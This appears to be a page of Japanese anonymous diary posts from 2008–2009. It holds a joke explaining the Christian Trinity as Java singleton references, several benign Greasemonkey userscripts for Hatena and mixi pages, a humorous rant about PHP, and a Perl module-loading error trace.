eofの判定とカーソルの前進・後退、あとソートくらいしか出来ないけど、

それっぽい事を毎回ごりごり書いてたときと比べたら生産性上がったなぁ。コードも見やすくなったし。

2009-02-16

イエス・キリストは神を指すポインタ

キリスト教の教義の中で難解だと言われる、三位一体Wikipediaによれば、「父なる神と子と聖霊が一体(唯一の神)であるとする教理」。

http://ja.wikipedia.org/wiki/%E4%B8%89%E4%BD%8D%E4%B8%80%E4%BD%93

高校時代から思っているのだが、これ、そんなに難しい概念なのだろうか?要するに、「父なる神」と「イエス・キリスト」と「聖霊」という3つのポインタがあって、みな一つの「神」という実体を指しています、ということだけでしょ?プログラミングをやっていれば、すぐに理解できる概念だと思うし、実際、プログラミングの例を引き合いに出して教えるのが手っ取り早いと思うのだけど、そうやって三位一体を教えている事例を見たことがないので、増田に書いてみた。英語圏では、とても誰か既にやっていそうな予感なんだけど、誰か知ってたら教えて。Java風に書くと、次のような感じ。(ポインタじゃなくて参照だけど。)

final class God {

private static God singleton;

private Singleton(){};

public static synchronized God getInstance(){

if(singleton == null){

singleton = new God();

}

return singleton;

}

}

class World{

God Father = God.getInstance();

God JesusChrist = God.getInstance();

God HolySpirit = God.getInstance();

}

簡単に書いておくと、三位一体キリスト教の基本的な教義で、いわゆるキリスト教は、どの宗派でもこれを認めているものが多い。なんでこの教義が基本的かというと、歴史上の人物であるイエス・キリストが、単なる人ではなく実は神でもあった、ということを信じることに繋がるから。「キリスト歴史上の偉人で神の教えを説いてくれたけど、単なる人で神ではない」という考え方も出来て、実際、この考え方が広まったことがあったが、325年のニケーア公会議というので異端になった。

2009-01-29

人力検索はてなで見たくない質問を見えなくするスクリプト 「いないいない」

// ==UserScript==
// @name          inai_inai
// @description	  人力検索はてなで見たくない質問を見えなくするスクリプト  「いないいない」 
// @include       http://q.hatena.ne.jp/list*
// @version       0.1
// ==/UserScript==

(function(){
  // 見たくない質問をテーブルから削除する場合は true を、
  // 見たくない質問のテキストの色を白にする場合は true を指定して下さい。
  var delRow=false;
  var xpath ='//*[@class="questionlisttable"]';
  var tbody = document.evaluate(xpath, document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue;
  var rows = tbody.rows;
  
  // denies の定義を修正して見たくない質問のユーザIDを追加して下さい。
  // 例) var denies=['inai_inai','tabun_inai','kitto_inai'];
  var denies=['inai_inai'];
  for(var i=rows.length-1;i&gt;=1;i--){
    var name=rows[i].cells[5].childNodes[0].toString().match(/http:\/\/q\.hatena\.ne\.jp\/(\S*)\//)[1]
    for(var j=0;j<denies.length;j++){
      if(name==denies[j]){
        if(delRow){
          // delete row
          tbody.deleteRow(i)
        }
        else{
          // change color of text
          // question
          rows[i].cells[1].childNodes[1].style.color="white";
          // point
          rows[i].cells[3].style.color="white"
          // userid
          rows[i].cells[5].childNodes[0].style.color="white";
          // time
          rows[i].cells[6].style.color="white";
        }
        break;
      }
    }
  }
}
)();
簡単な説明
これは何?

人力検索はてな?」で見たくない質問を見えなくする greasemonkey スクリプトです。

これを使うと、あらかじめ設定したユーザーIDの人の質問を見えなくすることが出来ます。

greasemonkey とは?

greasemonkey とは Mozilla Firefox 上で動作するアドオンです。Google で検索するとたくさんヒットするので使いたい方は調べてみて下さい。

見たくない質問のユーザIDを指定するには?

スクリプト中の

var denies=['inai_inai'];

の部分を

var denies=['inai_inai','tabun_inai','kitto_inai'];

のように変更して下さい。このようにすると、id:inai_inai、id:tabun_inai、id:kitto_inai がした質問が見えなくなります。

質問が見えなくなるとは?

既定では、設定したユーザIDがした質問に該当するTableの文字色を白にすることで見え難くします。

スクリプト中の

var delRow=false;

の部分を

var delRow=true;

にすると、Tableから該当する質問自体を削除することで見えなくなります。

ここでいう「削除」とは、人力検索はてな?から削除する訳ではなく、ブラウザ上で見えなくしているだけです。だから、greasemonkey の設定でこのスクリプト削除したり、greasemonkey を無効にすればまた表示されるようになります。

注意点は?

このスクリプト文字コードUTF-8 にしておかないとスクリプトインストールの時に文字化けします。

ライセンスは?

The BSD License に準じます(http://opensource.org/licenses/bsd-license.php)。

サポートは?

人力検索はてな?で質問してみたらどうでしょうか。ただし、このスクリプトを最初に書いた人が答えるとは限らないと思います。

2009-01-16

面倒くさくなった

// ==UserScript==
// @name           anond
// @namespace      http://anond.hatelabo.jp/
// @include        http://anond.hatelabo.jp/?page=*
// ==/UserScript==
function anond(doc) {
    $X(".//div[@class='section'][.//h3/a[2][starts-with(@href, 'http://anond.hatelabo.jp')]]", doc, Array).forEach(function(node){
        node.style.display = "none";
    });
    $X(".//h3/a[1]", doc, Array).forEach(function(node){
        var a = document.createElement("a");
        a.name = node.pathname;
        a.href = "#" + node.pathname + "/footer";
        a.innerHTML = "V";
        node.parentNode.insertBefore(a, node);
    });
    $X(".//p[@class = 'sectionfooter']/a[1]", doc, Array).forEach(function(node){
        var a = document.createElement("a");
        a.name = node.pathname + "/footer";
        a.href = "#" + node.pathname;
        a.innerHTML = "^";
        node.parentNode.insertBefore(a, node);
        node.parentNode.insertBefore(document.createTextNode(" | "), node);
    });
}

anond(document);
if (AutoPagerize.addDocumentFilter)
    AutoPagerize.addDocumentFilter(anond);


// by http://lowreal.net/blog/2007/11/17/1
// $X(exp);
// $X(exp, context);
// $X(exp, type);
// $X(exp, context, type);
function $X (exp, context, type /* want type */) {
    if (typeof context == "function") {
        type    = context;
        context = null;
    }
    if (!context) context = document;
    var exp = (context.ownerDocument || context).createExpression(exp, function (prefix) {
        var o = document.createNSResolver(context).lookupNamespaceURI(prefix);
        if (o) return o;
        return (document.contentType == "application/xhtml+xml") ? "http://www.w3.org/1999/xhtml" : "";
    });

    switch (type) {
        case String:
            return exp.evaluate(
                context,
                XPathResult.STRING_TYPE,
                null
            ).stringValue;
        case Number:
            return exp.evaluate(
                context,
                XPathResult.NUMBER_TYPE,
                null
            ).numberValue;
        case Boolean:
            return exp.evaluate(
                context,
                XPathResult.BOOLEAN_TYPE,
                null
            ).booleanValue;
        case Array:
            var result = exp.evaluate(
                context,
                XPathResult.ORDERED_NODE_SNAPSHOT_TYPE,
                null
            );
            var ret = [];
            for (var i = 0, len = result.snapshotLength; i < len; i++) {
                ret.push(result.snapshotItem(i));
            }
            return ret;
        case undefined:
            var result = exp.evaluate(context, XPathResult.ANY_TYPE, null);
            switch (result.resultType) {
                case XPathResult.STRING_TYPE : return result.stringValue;
                case XPathResult.NUMBER_TYPE : return result.numberValue;
                case XPathResult.BOOLEAN_TYPE: return result.booleanValue;
                case XPathResult.UNORDERED_NODE_ITERATOR_TYPE: {
                    // not ensure the order.
                    var ret = [];
                    var i = null;
                    while (i = result.iterateNext()) {
                        ret.push(i);
                    }
                    return ret;
                }
            }
            return null;
        default:
            throw(TypeError("$X: specified type is not valid type."));
    }
}

2008-12-26

[]Hatena::Bookmark::24H::Chart

修正:いい加減&が変換されるのを何とかしてほしい

解説:Hatena::Bookmark::24H(http://hatebu24h.ashitano.in/)に、トップエントリの獲得したブックマーク数の推移のチャートを加えます。

// ==UserScript==
// @name           chart of Hatena::Bookmark::24H
// @namespace      http://anond.hatelabo.jp/
// @include        http://hatebu24h.ashitano.in/*
// ==/UserScript==

var url = unescape("http://chart.apis.google.com/chart?chs=160x60%26cht=ls%26chd=t:");
url = url + $X("//div[@class='clocktxt']", Array).map(function(s){return s.firstChild.nodeValue}).join(",");
//var id = $X("//h3/a/@href")[0].nodeValue;
//url = url + $X("//div[@class='entrytitle' or @class='entrytitle2'][.//a[@href='"+id+"']]/../preceding-sibling::div[1]", Array).map(function(s){return s.textContent.match(/\d+/)}).join(",");
var before = makeElements({
    nodeName: "div",
    className: "sidebox",
    childNodes: [{
        nodeName: "div",
        className: "sidetitle",
        innerHTML: "Recent top entry chart"
      },{
        nodeName: "div",
        className: "sidetitle",
        childNodes: {
            nodeName: "img",
            src: url
        }
    }]
});
var after = $X("//div[@class='sidebox']", Array)[0];
after.parentNode.insertBefore(before, after);

// util

// var 0.01
function makeElements(obj) {
    if (typeof obj != "object")
        return document.createTextNode(obj);
    if (obj instanceof Array)
        return obj.map(makeElements);
    var node = document.createElement(obj.nodeName);
    delete obj.nodeName;
    if (obj.childNodes) {
        [].concat(makeElements(obj.childNodes)).forEach(node.appendChild, node);
        delete obj.childNodes;
    }
    function extend(dst, src) {
        for (var i in src) {
            if (typeof src[i] == "object" &amp;&amp; dst[i] &amp;&amp; typeof dst[i] == "object")
                extend(dst[i], src[i]);
            else
                node[i]=obj[i];
        }
    }
    extend(node, obj);
    return node;
}

// by http://lowreal.net/blog/2007/11/17/1
// $X(exp);
// $X(exp, context);
// $X(exp, type);
// $X(exp, context, type);
function $X (exp, context, type /* want type */) {
    if (typeof context == "function") {
        type    = context;
        context = null;
    }
    if (!context) context = document;
    var exp = (context.ownerDocument || context).createExpression(exp, function (prefix) {
        var o = document.createNSResolver(context).lookupNamespaceURI(prefix);
        if (o) return o;
        return (document.contentType == "application/xhtml+xml") ? "http://www.w3.org/1999/xhtml" : "";
    });

    switch (type) {
        case String:
            return exp.evaluate(
                context,
                XPathResult.STRING_TYPE,
                null
            ).stringValue;
        case Number:
            return exp.evaluate(
                context,
                XPathResult.NUMBER_TYPE,
                null
            ).numberValue;
        case Boolean:
            return exp.evaluate(
                context,
                XPathResult.BOOLEAN_TYPE,
                null
            ).booleanValue;
        case Array:
            var result = exp.evaluate(
                context,
                XPathResult.ORDERED_NODE_SNAPSHOT_TYPE,
                null
            );
            var ret = [];
            for (var i = 0, len = result.snapshotLength; i < len; i++) {
                ret.push(result.snapshotItem(i));
            }
            return ret;
        case undefined:
            var result = exp.evaluate(context, XPathResult.ANY_TYPE, null);
            switch (result.resultType) {
                case XPathResult.STRING_TYPE : return result.stringValue;
                case XPathResult.NUMBER_TYPE : return result.numberValue;
                case XPathResult.BOOLEAN_TYPE: return result.booleanValue;
                case XPathResult.UNORDERED_NODE_ITERATOR_TYPE: {
                    // not ensure the order.
                    var ret = [];
                    var i = null;
                    while (i = result.iterateNext()) {
                        ret.push(i);
                    }
                    return ret;
                }
            }
            return null;
        default:
            throw(TypeError("$X: specified type is not valid type."));
    }
}

2008-12-15

mixi ホーム画面のマイミク一覧をログイン時間順で表示するグリモン

ふと思い立って昼休みに作った。経過時間別に背景色もつきます。

グループ分けとかしてるとうまく動かないかも。

order_home_mymixi.user.js

// ==UserScript==
// @name          order_home_mymixi
// @namespace     http://anond.hatelabo.jp/
// @include       http://mixi.jp/
// @include       http://mixi.jp/home.pl
// ==/UserScript==

(function() {
    if (window != window.parent) return;

    var homeTds = document.evaluate('//div[@id="mymixiList"]//td', document.body, null, 7, null);
    for (var i = 0; i < homeTds.snapshotLength; i++) homeTds.snapshotItem(i).innerHTML = 'loading...';

    GM_xmlhttpRequest({
        method: 'GET',
        url: 'http://mixi.jp/list_friend_simple.pl',
        onload: function(res) {
            var friends = [];
            var bgColor = {
                '01': '#ffffff',
                '02': '#fee7c6',
                '03': '#ffd8a7'
            };

            var div = document.createElement('div');
            div.innerHTML = res.responseText;
            var tds = document.evaluate('//div[@id="friendList"]//td', div, null, 7, null);
            for (var i = 0; i < tds.snapshotLength; i++) {
                var td = tds.snapshotItem(i);
                var klass = td.getAttribute('class');
                if (!klass || klass.search(/^iconState(01|02|03)/) == -1) continue;
                friends.push({
                    color: bgColor[RegExp.$1],
                    anchor: td.getElementsByTagName('a')[0],
                    name: td.getElementsByTagName('p')[0].innerHTML.replace(/^(.+)\(/, '$1 (')
                });
            }

            for (var i = 0; i < homeTds.snapshotLength; i++) {
                var td = homeTds.snapshotItem(i);
                td.innerHTML = '';
                td.style.background = friends[i].color;
                td.appendChild(friends[i].anchor);
                var span = document.createElement('span');
                span.innerHTML = friends[i].name;
                td.appendChild(span);
            }
        }
    });
})();

2008-11-11

彼氏php使ってた。別れたい…

phpだと、うっかりエラー表示出た時なんか恥ずかしいww

下向いちゃうしww

男にはせめてPython使って欲しい・・・

strip_tagsとかでサニタイズなんてされたら・・・・もう最悪ww

あとせめてphpでも普通にClassぐらいは作って欲しい。

常識的に考えて欲しいだけなんです!

phpできます!」なんて自信たっぷりに言われた時の恥ずかしさとか分かる?

あのね? たとえば週末1020人ぐらいで勉強会とかするでしょ?

それぞれ作ったwebアプリ公開するわけじゃない?

みんな普通にDやSchemeErlangHaskellで構築するわけでしょ

PHPで自慢げに公開したら大恥かくでしょうがww

http://anond.hatelabo.jp/20081111000645





VRアダルト動画おすすめ
オナホールのレビューと評価のランキング
ピンクローターJp:おすすめバイブ評価とローター通販の比較
ソーシャルゲーム速報

2008-11-01

http://anond.hatelabo.jp/20081101031143

pc@ubuntu-vm:~$ mobirc/mobirc

Could not load class (App::Mobirc::Plugin::HTMLFilter::DoCoMoCSS) because : Can't locate XML/LibXML.pm in @INC (@INC contains: /home/pc/mobirc/lib /etc/perl /usr/local/lib/perl/5.8.8 /usr/local/share/perl/5.8.8 /usr/lib/perl5 /usr/share/perl5 /usr/lib/perl/5.8 /usr/share/perl/5.8 /usr/local/lib/site_perl .) at /home/pc/mobirc/lib/App/Mobirc/Plugin/HTMLFilter/DoCoMoCSS.pm line 5.

BEGIN failed--compilation aborted at /home/pc/mobirc/lib/App/Mobirc/Plugin/HTMLFilter/DoCoMoCSS.pm line 5.

Compilation failed in require at /usr/local/lib/perl/5.8.8/Class/MOP.pm line 151.

at /usr/local/lib/perl/5.8.8/Class/MOP.pm line 133

Class::MOP::load_first_existing_class('App::Mobirc::Plugin::HTMLFilter::DoCoMoCSS') called at /usr/local/lib/perl/5.8.8/Class/MOP.pm line 157

Class::MOP::load_class('App::Mobirc::Plugin::HTMLFilter::DoCoMoCSS') called at /usr/local/share/perl/5.8.8/MooseX/Plaggerize.pm line 20

App::Mobirc::load_plugin('App::Mobirc=HASH(0x8d7e490)', 'HASH(0x8d7536c)') called at /home/pc/mobirc/lib/App/Mobirc.pm line 44

App::Mobirc::_load_plugins('App::Mobirc=HASH(0x8d7e490)') called at /home/pc/mobirc/lib/App/Mobirc.pm line 35

Class::MOP::Class:::around('CODE(0x8ab5250)', 'App::Mobirc', '/home/pc/mobirc/config.yaml') called at /usr/local/lib/perl/5.8.8/Class/MOP/Method/Wrapped.pm line 129

Class::MOP::Method::Wrapped::__ANON__('App::Mobirc', '/home/pc/mobirc/config.yaml') called at /usr/local/lib/perl/5.8.8/Class/MOP/Method/Wrapped.pm line 89

App::Mobirc::new('App::Mobirc', '/home/pc/mobirc/config.yaml') called at mobirc/mobirc line 36

pc@ubuntu-vm:~$ sudo mobirc/mobirc

Could not load class (App::Mobirc::Plugin::HTMLFilter::DoCoMoCSS) because : Can't locate XML/LibXML.pm in @INC (@INC contains: /home/pc/mobirc/lib /etc/perl /usr/local/lib/perl/5.8.8 /usr/local/share/perl/5.8.8 /usr/lib/perl5 /usr/share/perl5 /usr/lib/perl/5.8 /usr/share/perl/5.8 /usr/local/lib/site_perl .) at /home/pc/mobirc/lib/App/Mobirc/Plugin/HTMLFilter/DoCoMoCSS.pm line 5.

BEGIN failed--compilation aborted at /home/pc/mobirc/lib/App/Mobirc/Plugin/HTMLFilter/DoCoMoCSS.pm line 5.

Compilation failed in require at /usr/local/lib/perl/5.8.8/Class/MOP.pm line 151.

at /usr/local/lib/perl/5.8.8/Class/MOP.pm line 133

Class::MOP::load_first_existing_class('App::Mobirc::Plugin::HTMLFilter::DoCoMoCSS') called at /usr/local/lib/perl/5.8.8/Class/MOP.pm line 157

Class::MOP::load_class('App::Mobirc::Plugin::HTMLFilter::DoCoMoCSS') called at /usr/local/share/perl/5.8.8/MooseX/Plaggerize.pm line 20

App::Mobirc::load_plugin('App::Mobirc=HASH(0x8d799e0)', 'HASH(0x8d7089c)') called at /home/pc/mobirc/lib/App/Mobirc.pm line 44

App::Mobirc::_load_plugins('App::Mobirc=HASH(0x8d799e0)') called at /home/pc/mobirc/lib/App/Mobirc.pm line 35

Class::MOP::Class:::around('CODE(0x8ab4390)', 'App::Mobirc', '/home/pc/mobirc/config.yaml') called at /usr/local/lib/perl/5.8.8/Class/MOP/Method/Wrapped.pm line 129

Class::MOP::Method::Wrapped::__ANON__('App::Mobirc', '/home/pc/mobirc/config.yaml') called at /usr/local/lib/perl/5.8.8/Class/MOP/Method/Wrapped.pm line 89

App::Mobirc::new('App::Mobirc', '/home/pc/mobirc/config.yaml') called at mobirc/mobirc line 36

イミフ

ログイン ユーザー登録
ようこそ ゲスト さん